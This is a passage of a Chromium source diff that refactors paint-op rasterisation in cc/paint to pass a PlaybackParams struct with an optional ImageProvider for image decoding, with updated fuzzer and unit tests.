@@ -1674,12 +1943,27 @@
           stack->push_back(third);
       }
     }
+
+    if (params.image_provider && IsImageOp(op)) {
+      if (QuickRejectDraw(op, canvas))
+        continue;
+
+      auto* flags_op = op->IsPaintOpWithFlags()
+                           ? static_cast<const PaintOpWithFlags*>(op)
+                           : nullptr;
+      if (flags_op && IsImageShader(flags_op->flags)) {
+        ScopedImageFlags scoped_flags(image_provider, flags_op->flags,
+                                      canvas->getTotalMatrix());
+        flags_op->RasterWithFlags(canvas, scoped_flags.decoded_flags(), params);
+        continue;
+      }
+    }
+
     // TODO(enne): skip SaveLayer followed by restore with nothing in
     // between, however SaveLayer with image filters on it (or maybe
     // other PaintFlags options) are not a noop.  Figure out what these
     // are so we can skip them correctly.
-
-    op->Raster(canvas, original);
+    op->Raster(canvas, params);
   }
 }
 
diff --git a/cc/paint/paint_op_buffer.h b/cc/paint/paint_op_buffer.h
index 6ed9545..cf6df31 100644
--- a/cc/paint/paint_op_buffer.h
+++ b/cc/paint/paint_op_buffer.h
@@ -27,8 +27,8 @@
 // See: third_party/skia/src/core/SkLiteDL.h.
 
 namespace cc {
-
 class ImageDecodeCache;
+class ImageProvider;
 
 class CC_PAINT_EXPORT ThreadsafeMatrix : public SkMatrix {
  public:
@@ -90,6 +90,12 @@
 
 CC_PAINT_EXPORT std::string PaintOpTypeToString(PaintOpType type);
 
+struct CC_PAINT_EXPORT PlaybackParams {
+  PlaybackParams(ImageProvider* image_provider, const SkMatrix& original_ctm);
+  ImageProvider* image_provider;
+  const SkMatrix original_ctm;
+};
+
 class CC_PAINT_EXPORT PaintOp {
  public:
   uint32_t type : 8;
@@ -101,8 +107,9 @@
   // here. The Raster method should take a const PaintOp* parameter. It is
   // static with a pointer to the base type so that we can use it as a function
   // pointer.
-  void Raster(SkCanvas* canvas, const SkMatrix& original_ctm) const;
+  void Raster(SkCanvas* canvas, const PlaybackParams& params) const;
   bool IsDrawOp() const;
+  bool IsPaintOpWithFlags() const;
 
   struct SerializeOptions {
     ImageDecodeCache* decode_cache = nullptr;
@@ -126,10 +133,9 @@
                               void* output,
                               size_t output_size);
 
-  // Only valid for draw ops.
-  void RasterWithAlpha(SkCanvas* canvas,
-                       const SkRect& bounds,
-                       uint8_t alpha) const;
+  // For draw ops, returns true if a conservative bounding rect can be provided
+  // for the op.
+  static bool GetBounds(const PaintOp* op, SkRect* rect);
 
   int CountSlowPaths() const { return 0; }
   int CountSlowPathsFromFlags() const { return 0; }
@@ -180,8 +186,12 @@
     return image && image->isLazyGenerated();
   }
 
+  void RasterWithFlags(SkCanvas* canvas,
+                       const PaintFlags* flags,
+                       const PlaybackParams& params) const;
+
   // Subclasses should provide a static RasterWithFlags() method which is called
-  // from the Raster() method. The RasterWithFlags() should use the PaintFlags
+  // from the Raster() method. The RasterWithFlags() should use the SkPaint
   // passed to it, instead of the |flags| member directly, as some callers may
   // provide a modified PaintFlags. The RasterWithFlags() method is static with
   // a const PaintOpWithFlags* parameter so that it can be used as a function
@@ -311,9 +321,9 @@
              const SkRect& rect,
              sk_sp<SkData> data);
   ~AnnotateOp();
-  static void Raster(const PaintOp* op,
+  static void Raster(const AnnotateOp* op,
                      SkCanvas* canvas,
-                     const SkMatrix& original_ctm);
+                     const PlaybackParams& params);
   HAS_SERIALIZATION_FUNCTIONS();
 
   PaintCanvas::AnnotationType annotation_type;
@@ -329,9 +339,9 @@
   static constexpr PaintOpType kType = PaintOpType::ClipPath;
   ClipPathOp(SkPath path, SkClipOp op, bool antialias)
       : path(path), op(op), antialias(antialias) {}
-  static void Raster(const PaintOp* op,
+  static void Raster(const ClipPathOp* op,
                      SkCanvas* canvas,
-                     const SkMatrix& original_ctm);
+                     const PlaybackParams& params);
   int CountSlowPaths() const;
   bool HasNonAAPaint() const { return !antialias; }
   HAS_SERIALIZATION_FUNCTIONS();
@@ -349,9 +359,9 @@
   static constexpr PaintOpType kType = PaintOpType::ClipRect;
   ClipRectOp(const SkRect& rect, SkClipOp op, bool antialias)
       : rect(rect), op(op), antialias(antialias) {}
-  static void Raster(const PaintOp* op,
+  static void Raster(const ClipRectOp* op,
                      SkCanvas* canvas,
-                     const SkMatrix& original_ctm);
+                     const PlaybackParams& params);
   HAS_SERIALIZATION_FUNCTIONS();
 
   SkRect rect;
@@ -367,9 +377,9 @@
   static constexpr PaintOpType kType = PaintOpType::ClipRRect;
   ClipRRectOp(const SkRRect& rrect, SkClipOp op, bool antialias)
       : rrect(rrect), op(op), antialias(antialias) {}
-  static void Raster(const PaintOp* op,
+  static void Raster(const ClipRRectOp* op,
                      SkCanvas* canvas,
-                     const SkMatrix& original_ctm);
+                     const PlaybackParams& params);
   bool HasNonAAPaint() const { return !antialias; }
   HAS_SERIALIZATION_FUNCTIONS();
 
@@ -385,9 +395,9 @@
  public:
   static constexpr PaintOpType kType = PaintOpType::Concat;
   explicit ConcatOp(const SkMatrix& matrix) : matrix(matrix) {}
-  static void Raster(const PaintOp* op,
+  static void Raster(const ConcatOp* op,
                      SkCanvas* canvas,
-                     const SkMatrix& original_ctm);
+                     const PlaybackParams& params);
   HAS_SERIALIZATION_FUNCTIONS();
 
   ThreadsafeMatrix matrix;
@@ -410,16 +420,10 @@
         start_angle(start_angle),
         sweep_angle(sweep_angle),
         use_center(use_center) {}
-  static void Raster(const PaintOp* op,
-                     SkCanvas* canvas,
-                     const SkMatrix& original_ctm) {
-    auto* flags_op = static_cast<const PaintOpWithFlags*>(op);
-    RasterWithFlags(flags_op, &flags_op->flags, canvas, original_ctm);
-  }
-  static void RasterWithFlags(const PaintOpWithFlags* op,
+  static void RasterWithFlags(const DrawArcOp* op,
                               const PaintFlags* flags,
                               SkCanvas* canvas,
-                              const SkMatrix& original_ctm);
+                              const PlaybackParams& params);
   HAS_SERIALIZATION_FUNCTIONS();
 
   SkRect oval;
@@ -440,16 +444,10 @@
                SkScalar radius,
                const PaintFlags& flags)
       : PaintOpWithFlags(flags), cx(cx), cy(cy), radius(radius) {}
-  static void Raster(const PaintOp* op,
-                     SkCanvas* canvas,
-                     const SkMatrix& original_ctm) {
-    auto* flags_op = static_cast<const PaintOpWithFlags*>(op);
-    RasterWithFlags(flags_op, &flags_op->flags, canvas, original_ctm);
-  }
-  static void RasterWithFlags(const PaintOpWithFlags* op,
+  static void RasterWithFlags(const DrawCircleOp* op,
                               const PaintFlags* flags,
                               SkCanvas* canvas,
-                              const SkMatrix& original_ctm);
+                              const PlaybackParams& params);
   HAS_SERIALIZATION_FUNCTIONS();
 
   SkScalar cx;
@@ -465,9 +463,9 @@
   static constexpr PaintOpType kType = PaintOpType::DrawColor;
   static constexpr bool kIsDrawOp = true;
   DrawColorOp(SkColor color, SkBlendMode mode) : color(color), mode(mode) {}
-  static void Raster(const PaintOp* op,
+  static void Raster(const DrawColorOp* op,
                      SkCanvas* canvas,
-                     const SkMatrix& original_ctm);
+                     const PlaybackParams& params);
   HAS_SERIALIZATION_FUNCTIONS();
 
   SkColor color;
@@ -485,16 +483,10 @@
                const SkRRect& inner,
                const PaintFlags& flags)
       : PaintOpWithFlags(flags), outer(outer), inner(inner) {}
-  static void Raster(const PaintOp* op,
-                     SkCanvas* canvas,
-                     const SkMatrix& original_ctm) {
-    auto* flags_op = static_cast<const PaintOpWithFlags*>(op);
-    RasterWithFlags(flags_op, &flags_op->flags, canvas, original_ctm);
-  }
-  static void RasterWithFlags(const PaintOpWithFlags* op,
+  static void RasterWithFlags(const DrawDRRectOp* op,
                               const PaintFlags* flags,
                               SkCanvas* canvas,
-                              const SkMatrix& original_ctm);
+                              const PlaybackParams& params);
   HAS_SERIALIZATION_FUNCTIONS();
 
   SkRRect outer;
@@ -513,16 +505,10 @@
               SkScalar top,
               const PaintFlags* flags);
   ~DrawImageOp();
-  static void Raster(const PaintOp* op,
-                     SkCanvas* canvas,
-                     const SkMatrix& original_ctm) {
-    auto* flags_op = static_cast<const PaintOpWithFlags*>(op);
-    RasterWithFlags(flags_op, &flags_op->flags, canvas, original_ctm);
-  }
-  static void RasterWithFlags(const PaintOpWithFlags* op,
+  static void RasterWithFlags(const DrawImageOp* op,
                               const PaintFlags* flags,
                               SkCanvas* canvas,
-                              const SkMatrix& original_ctm);
+                              const PlaybackParams& params);
   bool HasDiscardableImages() const;
   bool HasNonAAPaint() const { return false; }
   HAS_SERIALIZATION_FUNCTIONS();
@@ -545,16 +531,10 @@
                   const PaintFlags* flags,
                   PaintCanvas::SrcRectConstraint constraint);
   ~DrawImageRectOp();
-  static void Raster(const PaintOp* op,
-                     SkCanvas* canvas,
-                     const SkMatrix& original_ctm) {
-    auto* flags_op = static_cast<const PaintOpWithFlags*>(op);
-    RasterWithFlags(flags_op, &flags_op->flags, canvas, original_ctm);
-  }
-  static void RasterWithFlags(const PaintOpWithFlags* op,
+  static void RasterWithFlags(const DrawImageRectOp* op,
                               const PaintFlags* flags,
                               SkCanvas* canvas,
-                              const SkMatrix& original_ctm);
+                              const PlaybackParams& params);
   bool HasDiscardableImages() const;
   HAS_SERIALIZATION_FUNCTIONS();
 
@@ -573,16 +553,10 @@
   static constexpr bool kIsDrawOp = true;
   DrawIRectOp(const SkIRect& rect, const PaintFlags& flags)
       : PaintOpWithFlags(flags), rect(rect) {}
-  static void Raster(const PaintOp* op,
-                     SkCanvas* canvas,
-                     const SkMatrix& original_ctm) {
-    auto* flags_op = static_cast<const PaintOpWithFlags*>(op);
-    RasterWithFlags(flags_op, &flags_op->flags, canvas, original_ctm);
-  }
-  static void RasterWithFlags(const PaintOpWithFlags* op,
+  static void RasterWithFlags(const DrawIRectOp* op,
                               const PaintFlags* flags,
                               SkCanvas* canvas,
-                              const SkMatrix& original_ctm);
+                              const PlaybackParams& params);
   bool HasNonAAPaint() const { return false; }
   HAS_SERIALIZATION_FUNCTIONS();
 
@@ -602,16 +576,10 @@
              SkScalar y1,
              const PaintFlags& flags)
       : PaintOpWithFlags(flags), x0(x0), y0(y0), x1(x1), y1(y1) {}
-  static void Raster(const PaintOp* op,
-                     SkCanvas* canvas,
-                     const SkMatrix& original_ctm) {
-    auto* flags_op = static_cast<const PaintOpWithFlags*>(op);
-    RasterWithFlags(flags_op, &flags_op->flags, canvas, original_ctm);
-  }
-  static void RasterWithFlags(const PaintOpWithFlags* op,
+  static void RasterWithFlags(const DrawLineOp* op,
                               const PaintFlags* flags,
                               SkCanvas* canvas,
-                              const SkMatrix& original_ctm);
+                              const PlaybackParams& params);
   HAS_SERIALIZATION_FUNCTIONS();
 
   int CountSlowPaths() const;
@@ -631,16 +599,10 @@
   static constexpr bool kIsDrawOp = true;
   DrawOvalOp(const SkRect& oval, const PaintFlags& flags)
       : PaintOpWithFlags(flags), oval(oval) {}
-  static void Raster(const PaintOp* op,
-                     SkCanvas* canvas,
-                     const SkMatrix& original_ctm) {
-    auto* flags_op = static_cast<const PaintOpWithFlags*>(op);
-    RasterWithFlags(flags_op, &flags_op->flags, canvas, original_ctm);
-  }
-  static void RasterWithFlags(const PaintOpWithFlags* op,
+  static void RasterWithFlags(const DrawOvalOp* op,
                               const PaintFlags* flags,
                               SkCanvas* canvas,
-                              const SkMatrix& original_ctm);
+                              const PlaybackParams& params);
   HAS_SERIALIZATION_FUNCTIONS();
 
   SkRect oval;
@@ -655,16 +617,10 @@
   static constexpr bool kIsDrawOp = true;
   DrawPathOp(const SkPath& path, const PaintFlags& flags)
       : PaintOpWithFlags(flags), path(path) {}
-  static void Raster(const PaintOp* op,
-                     SkCanvas* canvas,
-                     const SkMatrix& original_ctm) {
-    auto* flags_op = static_cast<const PaintOpWithFlags*>(op);
-    RasterWithFlags(flags_op, &flags_op->flags, canvas, original_ctm);
-  }
-  static void RasterWithFlags(const PaintOpWithFlags* op,
+  static void RasterWithFlags(const DrawPathOp* op,
                               const PaintFlags* flags,
                               SkCanvas* canvas,
-                              const SkMatrix& original_ctm);
+                              const PlaybackParams& params);
   int CountSlowPaths() const;
   HAS_SERIALIZATION_FUNCTIONS();
 
@@ -680,16 +636,10 @@
   static constexpr bool kIsDrawOp = true;
   DrawPosTextOp(size_t bytes, size_t count, const PaintFlags& flags);
   ~DrawPosTextOp();
-  static void Raster(const PaintOp* op,
-                     SkCanvas* canvas,
-                     const SkMatrix& original_ctm) {
-    auto* flags_op = static_cast<const PaintOpWithFlags*>(op);
-    RasterWithFlags(flags_op, &flags_op->flags, canvas, original_ctm);
-  }
-  static void RasterWithFlags(const PaintOpWithFlags* op,
+  static void RasterWithFlags(const DrawPosTextOp* op,
                               const PaintFlags* flags,
                               SkCanvas* canvas,
-                              const SkMatrix& original_ctm);
+                              const PlaybackParams& params);
   HAS_SERIALIZATION_FUNCTIONS();
 
   const void* GetData() const { return GetDataForThis(this); }
@@ -707,9 +657,9 @@
   static constexpr bool kIsDrawOp = true;
   explicit DrawRecordOp(sk_sp<const PaintRecord> record);
   ~DrawRecordOp();
-  static void Raster(const PaintOp* op,
+  static void Raster(const DrawRecordOp* op,
                      SkCanvas* canvas,
-                     const SkMatrix& original_ctm);
+                     const PlaybackParams& params);
   size_t AdditionalBytesUsed() const;
   bool HasDiscardableImages() const;
   int CountSlowPaths() const;
@@ -728,16 +678,10 @@
   static constexpr bool kIsDrawOp = true;
   DrawRectOp(const SkRect& rect, const PaintFlags& flags)
       : PaintOpWithFlags(flags), rect(rect) {}
-  static void Raster(const PaintOp* op,
-                     SkCanvas* canvas,
-                     const SkMatrix& original_ctm) {
-    auto* flags_op = static_cast<const PaintOpWithFlags*>(op);
-    RasterWithFlags(flags_op, &flags_op->flags, canvas, original_ctm);
-  }
-  static void RasterWithFlags(const PaintOpWithFlags* op,
+  static void RasterWithFlags(const DrawRectOp* op,
                               const PaintFlags* flags,
                               SkCanvas* canvas,
-                              const SkMatrix& original_ctm);
+                              const PlaybackParams& params);
   HAS_SERIALIZATION_FUNCTIONS();
 
   SkRect rect;
@@ -752,16 +696,10 @@
   static constexpr bool kIsDrawOp = true;
   DrawRRectOp(const SkRRect& rrect, const PaintFlags& flags)
       : PaintOpWithFlags(flags), rrect(rrect) {}
-  static void Raster(const PaintOp* op,
-                     SkCanvas* canvas,
-                     const SkMatrix& original_ctm) {
-    auto* flags_op = static_cast<const PaintOpWithFlags*>(op);
-    RasterWithFlags(flags_op, &flags_op->flags, canvas, original_ctm);
-  }
-  static void RasterWithFlags(const PaintOpWithFlags* op,
+  static void RasterWithFlags(const DrawRRectOp* op,
                               const PaintFlags* flags,
                               SkCanvas* canvas,
-                              const SkMatrix& original_ctm);
+                              const PlaybackParams& params);
   HAS_SERIALIZATION_FUNCTIONS();
 
   SkRRect rrect;
@@ -776,16 +714,10 @@
   static constexpr bool kIsDrawOp = true;
   DrawTextOp(size_t bytes, SkScalar x, SkScalar y, const PaintFlags& flags)
       : PaintOpWithData(flags, bytes), x(x), y(y) {}
-  static void Raster(const PaintOp* op,
-                     SkCanvas* canvas,
-                     const SkMatrix& original_ctm) {
-    auto* flags_op = static_cast<const PaintOpWithFlags*>(op);
-    RasterWithFlags(flags_op, &flags_op->flags, canvas, original_ctm);
-  }
-  static void RasterWithFlags(const PaintOpWithFlags* op,
+  static void RasterWithFlags(const DrawTextOp* op,
                               const PaintFlags* flags,
                               SkCanvas* canvas,
-                              const SkMatrix& original_ctm);
+                              const PlaybackParams& params);
   HAS_SERIALIZATION_FUNCTIONS();
 
   void* GetData() { return GetDataForThis(this); }
@@ -807,16 +739,10 @@
                  SkScalar y,
                  const PaintFlags& flags);
   ~DrawTextBlobOp();
-  static void Raster(const PaintOp* op,
-                     SkCanvas* canvas,
-                     const SkMatrix& original_ctm) {
-    auto* flags_op = static_cast<const PaintOpWithFlags*>(op);
-    RasterWithFlags(flags_op, &flags_op->flags, canvas, original_ctm);
-  }
-  static void RasterWithFlags(const PaintOpWithFlags* op,
+  static void RasterWithFlags(const DrawTextBlobOp* op,
                               const PaintFlags* flags,
                               SkCanvas* canvas,
-                              const SkMatrix& original_ctm);
+                              const PlaybackParams& params);
   HAS_SERIALIZATION_FUNCTIONS();
 
   sk_sp<SkTextBlob> blob;
@@ -830,18 +756,18 @@
 class CC_PAINT_EXPORT NoopOp final : public PaintOp {
  public:
   static constexpr PaintOpType kType = PaintOpType::Noop;
-  static void Raster(const PaintOp* op,
+  static void Raster(const NoopOp* op,
                      SkCanvas* canvas,
-                     const SkMatrix& original_ctm) {}
+                     const PlaybackParams& params) {}
   HAS_SERIALIZATION_FUNCTIONS();
 };
 
 class CC_PAINT_EXPORT RestoreOp final : public PaintOp {
  public:
   static constexpr PaintOpType kType = PaintOpType::Restore;
-  static void Raster(const PaintOp* op,
+  static void Raster(const RestoreOp* op,
                      SkCanvas* canvas,
-                     const SkMatrix& original_ctm);
+                     const PlaybackParams& params);
   HAS_SERIALIZATION_FUNCTIONS();
 };
 
@@ -849,9 +775,9 @@
  public:
   static constexpr PaintOpType kType = PaintOpType::Rotate;
   explicit RotateOp(SkScalar degrees) : degrees(degrees) {}
-  static void Raster(const PaintOp* op,
+  static void Raster(const RotateOp* op,
                      SkCanvas* canvas,
-                     const SkMatrix& original_ctm);
+                     const PlaybackParams& params);
   HAS_SERIALIZATION_FUNCTIONS();
 
   SkScalar degrees;
@@ -863,9 +789,9 @@
 class CC_PAINT_EXPORT SaveOp final : public PaintOp {
  public:
   static constexpr PaintOpType kType = PaintOpType::Save;
-  static void Raster(const PaintOp* op,
+  static void Raster(const SaveOp* op,
                      SkCanvas* canvas,
-                     const SkMatrix& original_ctm);
+                     const PlaybackParams& params);
   HAS_SERIALIZATION_FUNCTIONS();
 };
 
@@ -875,16 +801,10 @@
   SaveLayerOp(const SkRect* bounds, const PaintFlags* flags)
       : PaintOpWithFlags(flags ? *flags : PaintFlags()),
         bounds(bounds ? *bounds : kUnsetRect) {}
-  static void Raster(const PaintOp* op,
-                     SkCanvas* canvas,
-                     const SkMatrix& original_ctm) {
-    auto* flags_op = static_cast<const PaintOpWithFlags*>(op);
-    RasterWithFlags(flags_op, &flags_op->flags, canvas, original_ctm);
-  }
-  static void RasterWithFlags(const PaintOpWithFlags* op,
+  static void RasterWithFlags(const SaveLayerOp* op,
                               const PaintFlags* flags,
                               SkCanvas* canvas,
-                              const SkMatrix& original_ctm);
+                              const PlaybackParams& params);
   bool HasNonAAPaint() const { return false; }
   HAS_SERIALIZATION_FUNCTIONS();
 
@@ -903,9 +823,9 @@
       : bounds(bounds ? *bounds : kUnsetRect),
         alpha(alpha),
         preserve_lcd_text_requests(preserve_lcd_text_requests) {}
-  static void Raster(const PaintOp* op,
+  static void Raster(const SaveLayerAlphaOp* op,
                      SkCanvas* canvas,
-                     const SkMatrix& original_ctm);
+                     const PlaybackParams& params);
   HAS_SERIALIZATION_FUNCTIONS();
 
   SkRect bounds;
@@ -920,9 +840,9 @@
  public:
   static constexpr PaintOpType kType = PaintOpType::Scale;
   ScaleOp(SkScalar sx, SkScalar sy) : sx(sx), sy(sy) {}
-  static void Raster(const PaintOp* op,
+  static void Raster(const ScaleOp* op,
                      SkCanvas* canvas,
-                     const SkMatrix& original_ctm);
+                     const PlaybackParams& params);
   HAS_SERIALIZATION_FUNCTIONS();
 
   SkScalar sx;
@@ -942,9 +862,9 @@
   //
   // TODO(enne): Find some cleaner way to do this, possibly by making
   // all SetMatrix calls Concat??
-  static void Raster(const PaintOp* op,
+  static void Raster(const SetMatrixOp* op,
                      SkCanvas* canvas,
-                     const SkMatrix& original_ctm);
+                     const PlaybackParams& params);
   HAS_SERIALIZATION_FUNCTIONS();
 
   ThreadsafeMatrix matrix;
@@ -957,9 +877,9 @@
  public:
   static constexpr PaintOpType kType = PaintOpType::Translate;
   TranslateOp(SkScalar dx, SkScalar dy) : dx(dx), dy(dy) {}
-  static void Raster(const PaintOp* op,
+  static void Raster(const TranslateOp* op,
                      SkCanvas* canvas,
-                     const SkMatrix& original_ctm);
+                     const PlaybackParams& params);
   HAS_SERIALIZATION_FUNCTIONS();
 
   SkScalar dx;
@@ -990,6 +910,7 @@
 
   // Replays the paint op buffer into the canvas.
   void Playback(SkCanvas* canvas,
+                ImageProvider* image_provider = nullptr,
                 SkPicture::AbortCallback* callback = nullptr) const;
 
   // Returns the size of the paint op buffer. That is, the number of ops
@@ -1226,6 +1147,7 @@
   // contains indices in an increasing order and only the indices specified in
   // the vector will be replayed.
   void Playback(SkCanvas* canvas,
+                ImageProvider* image_provider,
                 SkPicture::AbortCallback* callback,
                 const std::vector<size_t>* indices) const;
 
diff --git a/cc/paint/paint_op_buffer_fuzzer.cc b/cc/paint/paint_op_buffer_fuzzer.cc
index 8f18fbe..94560b0 100644
--- a/cc/paint/paint_op_buffer_fuzzer.cc
+++ b/cc/paint/paint_op_buffer_fuzzer.cc
@@ -25,7 +25,8 @@
   sk_sp<SkSurface> surface = SkSurface::MakeRenderTarget(
       gr_context.get(), SkBudgeted::kYes, image_info);
   SkCanvas* canvas = surface->getCanvas();
-  SkMatrix original_ctm = canvas->getTotalMatrix();
+
+  cc::PlaybackParams params(nullptr, canvas->getTotalMatrix());
 
   // Need 4 bytes to be able to read the type/skip.
   while (size >= 4) {
@@ -44,7 +45,7 @@
     if (!deserialized_op)
       break;
 
-    deserialized_op->Raster(canvas, original_ctm);
+    deserialized_op->Raster(canvas, params);
 
     deserialized_op->DestroyThis();
 
diff --git a/cc/paint/paint_op_buffer_unittest.cc b/cc/paint/paint_op_buffer_unittest.cc
index 7192721..342b0a3 100644
--- a/cc/paint/paint_op_buffer_unittest.cc
+++ b/cc/paint/paint_op_buffer_unittest.cc
@@ -5,7 +5,9 @@
 #include "cc/paint/paint_op_buffer.h"
 #include "base/memory/ptr_util.h"
 #include "base/strings/stringprintf.h"
+#include "cc/paint/decoded_draw_image.h"
 #include "cc/paint/display_item_list.h"
+#include "cc/paint/image_provider.h"
 #include "cc/test/skia_common.h"
 #include "cc/test/test_skcanvas.h"
 #include "testing/gtest/include/gtest/gtest.h"
@@ -697,7 +699,7 @@
   }
 
   void Playback(SkCanvas* canvas, const std::vector<size_t>& offsets) {
-    buffer_.Playback(canvas, nullptr, &offsets);
+    buffer_.Playback(canvas, nullptr, nullptr, &offsets);
   }
 
  private:
@@ -2334,4 +2336,348 @@
   }
 }
 
+TEST(PaintOpBufferTest, BoundingRect_DrawArcOp) {
+  PaintOpBuffer buffer;
+  PushDrawArcOps(&buffer);
+
+  SkRect rect;
+  for (auto* base_op : PaintOpBuffer::Iterator(&buffer)) {
+    auto* op = static_cast<DrawArcOp*>(base_op);
+
+    ASSERT_TRUE(PaintOp::GetBounds(op, &rect));
+    EXPECT_EQ(rect, op->oval.makeSorted());
+  }
+}
+
+TEST(PaintOpBufferTest, BoundingRect_DrawCircleOp) {
+  PaintOpBuffer buffer;
+  PaintFlags flags;
+  buffer.push<DrawCircleOp>(0.f, 0.f, 5.f, flags);
+  buffer.push<DrawCircleOp>(-1.f, 4.f, 44.f, flags);
+  buffer.push<DrawCircleOp>(-99.f, -32.f, 100.f, flags);
+
+  SkRect rect;
+  for (auto* base_op : PaintOpBuffer::Iterator(&buffer)) {
+    auto* op = static_cast<DrawCircleOp*>(base_op);
+
+    SkScalar dimension = 2 * op->radius;
+    SkScalar x = op->cx - op->radius;
+    SkScalar y = op->cy - op->radius;
+    SkRect circle_rect = SkRect::MakeXYWH(x, y, dimension, dimension);
+
+    ASSERT_TRUE(PaintOp::GetBounds(op, &rect));
+    EXPECT_EQ(rect, circle_rect.makeSorted());
+  }
+}
+
+TEST(PaintOpBufferTest, BoundingRect_DrawImageOp) {
+  PaintOpBuffer buffer;
+  PushDrawImageOps(&buffer);
+
+  SkRect rect;
+  for (auto* base_op : PaintOpBuffer::Iterator(&buffer)) {
+    auto* op = static_cast<DrawImageOp*>(base_op);
+
+    SkRect image_rect =
+        SkRect::MakeXYWH(op->left, op->top, op->image.sk_image()->width(),
+                         op->image.sk_image()->height());
+    ASSERT_TRUE(PaintOp::GetBounds(op, &rect));
+    EXPECT_EQ(rect, image_rect.makeSorted());
+  }
+}
+
+TEST(PaintOpBufferTest, BoundingRect_DrawImageRectOp) {
+  PaintOpBuffer buffer;
+  PushDrawImageRectOps(&buffer);
+
+  SkRect rect;
+  for (auto* base_op : PaintOpBuffer::Iterator(&buffer)) {
+    auto* op = static_cast<DrawImageRectOp*>(base_op);
+
+    ASSERT_TRUE(PaintOp::GetBounds(op, &rect));
+    EXPECT_EQ(rect, op->dst.makeSorted());
+  }
+}
+
+TEST(PaintOpBufferTest, BoundingRect_DrawIRectOp) {
+  PaintOpBuffer buffer;
+  PushDrawIRectOps(&buffer);
+
+  SkRect rect;
+  for (auto* base_op : PaintOpBuffer::Iterator(&buffer)) {
+    auto* op = static_cast<DrawIRectOp*>(base_op);
+
+    ASSERT_TRUE(PaintOp::GetBounds(op, &rect));
+    EXPECT_EQ(rect, SkRect::Make(op->rect).makeSorted());
+  }
+}
+
+TEST(PaintOpBufferTest, BoundingRect_DrawOvalOp) {
+  PaintOpBuffer buffer;
+  PushDrawOvalOps(&buffer);
+
+  SkRect rect;
+  for (auto* base_op : PaintOpBuffer::Iterator(&buffer)) {
+    auto* op = static_cast<DrawOvalOp*>(base_op);
+
+    ASSERT_TRUE(PaintOp::GetBounds(op, &rect));
+    EXPECT_EQ(rect, op->oval.makeSorted());
+  }
+}
+
+TEST(PaintOpBufferTest, BoundingRect_DrawPathOp) {
+  PaintOpBuffer buffer;
+  PushDrawPathOps(&buffer);
+
+  SkRect rect;
+  for (auto* base_op : PaintOpBuffer::Iterator(&buffer)) {
+    auto* op = static_cast<DrawPathOp*>(base_op);
+
+    ASSERT_TRUE(PaintOp::GetBounds(op, &rect));
+    EXPECT_EQ(rect, op->path.getBounds().makeSorted());
+  }
+}
+
+TEST(PaintOpBufferTest, BoundingRect_DrawRectOp) {
+  PaintOpBuffer buffer;
+  PushDrawRectOps(&buffer);
+
+  SkRect rect;
+  for (auto* base_op : PaintOpBuffer::Iterator(&buffer)) {
+    auto* op = static_cast<DrawRectOp*>(base_op);
+
+    ASSERT_TRUE(PaintOp::GetBounds(op, &rect));
+    EXPECT_EQ(rect, op->rect.makeSorted());
+  }
+}
+
+TEST(PaintOpBufferTest, BoundingRect_DrawRRectOp) {
+  PaintOpBuffer buffer;
+  PushDrawRRectOps(&buffer);
+
+  SkRect rect;
+  for (auto* base_op : PaintOpBuffer::Iterator(&buffer)) {
+    auto* op = static_cast<DrawRRectOp*>(base_op);
+
+    ASSERT_TRUE(PaintOp::GetBounds(op, &rect));
+    EXPECT_EQ(rect, op->rrect.rect().makeSorted());
+  }
+}
+
+TEST(PaintOpBufferTest, BoundingRect_DrawLineOp) {
+  PaintOpBuffer buffer;
+  PushDrawLineOps(&buffer);
+
+  SkRect rect;
+  for (auto* base_op : PaintOpBuffer::Iterator(&buffer)) {
+    auto* op = static_cast<DrawLineOp*>(base_op);
+
+    SkRect line_rect;
+    line_rect.fLeft = op->x0;
+    line_rect.fTop = op->y0;
+    line_rect.fRight = op->x1;
+    line_rect.fBottom = op->y1;
+    ASSERT_TRUE(PaintOp::GetBounds(op, &rect));
+    EXPECT_EQ(rect, line_rect.makeSorted());
+  }
+}
+
+TEST(PaintOpBufferTest, BoundingRect_DrawDRRectOp) {
+  PaintOpBuffer buffer;
+  PushDrawDRRectOps(&buffer);
+
+  SkRect rect;
+  for (auto* base_op : PaintOpBuffer::Iterator(&buffer)) {
+    auto* op = static_cast<DrawDRRectOp*>(base_op);
+
+    ASSERT_TRUE(PaintOp::GetBounds(op, &rect));
+    EXPECT_EQ(rect, op->outer.getBounds().makeSorted());
+  }
+}
+
+TEST(PaintOpBufferTest, BoundingRect_DrawTextBlobOp) {
+  PaintOpBuffer buffer;
+  PushDrawTextBlobOps(&buffer);
+
+  SkRect rect;
+  for (auto* base_op : PaintOpBuffer::Iterator(&buffer)) {
+    auto* op = static_cast<DrawTextBlobOp*>(base_op);
+
+    ASSERT_TRUE(PaintOp::GetBounds(op, &rect));
+    EXPECT_EQ(rect, op->blob->bounds().makeOffset(op->x, op->y).makeSorted());
+  }
+}
+
+class MockImageHolder : public ImageProvider::DecodedImageHolder {
+ public:
+  explicit MockImageHolder(DecodedDrawImage image) : image_(std::move(image)) {}
+  ~MockImageHolder() override = default;
+
+  const DecodedDrawImage& DecodedImage() override { return image_; }
+
+ private:
+  DecodedDrawImage image_;
+};
+
+class MockImageProvider : public ImageProvider {
+ public:
+  MockImageProvider() = default;
+  MockImageProvider(std::vector<SkSize> src_rect_offset,
+                    std::vector<SkSize> scale,
+                    std::vector<SkFilterQuality> quality)
+      : src_rect_offset_(src_rect_offset), scale_(scale), quality_(quality) {}
+
+  ~MockImageProvider() override = default;
+
+  std::unique_ptr<DecodedImageHolder> GetDecodedImage(
+      const PaintImage& paint_image,
+      const SkRect& src_rect,
+      SkFilterQuality filter_quality,
+      const SkMatrix& matrix) override {
+    SkBitmap bitmap;
+    bitmap.allocN32Pixels(10, 10);
+    sk_sp<SkImage> image = SkImage::MakeFromBitmap(bitmap);
+    size_t i = index_++;
+    return base::MakeUnique<MockImageHolder>(
+        DecodedDrawImage(image, src_rect_offset_[i], scale_[i], quality_[i]));
+  }
+
+ private:
+  std::vector<SkSize> src_rect_offset_;
+  std::vector<SkSize> scale_;
+  std::vector<SkFilterQuality> quality_;
+  size_t index_ = 0;
+};
+
+TEST(PaintOpBufferTest, SkipsOpsOutsideClip) {
+  // All ops with images draw outside the clip and should be skipped. If any
+  // call is made to the ImageProvider, it should crash.
+  MockImageProvider image_provider;
+  PaintOpBuffer buffer;
+
+  // Apply a clip outside the region for images.
+  buffer.push<ClipRectOp>(SkRect::MakeXYWH(0, 0, 100, 100),
+                          SkClipOp::kIntersect, false);
+
+  SkRect rect = SkRect::MakeXYWH(0, 0, 100, 100);
+  uint8_t alpha = 220;
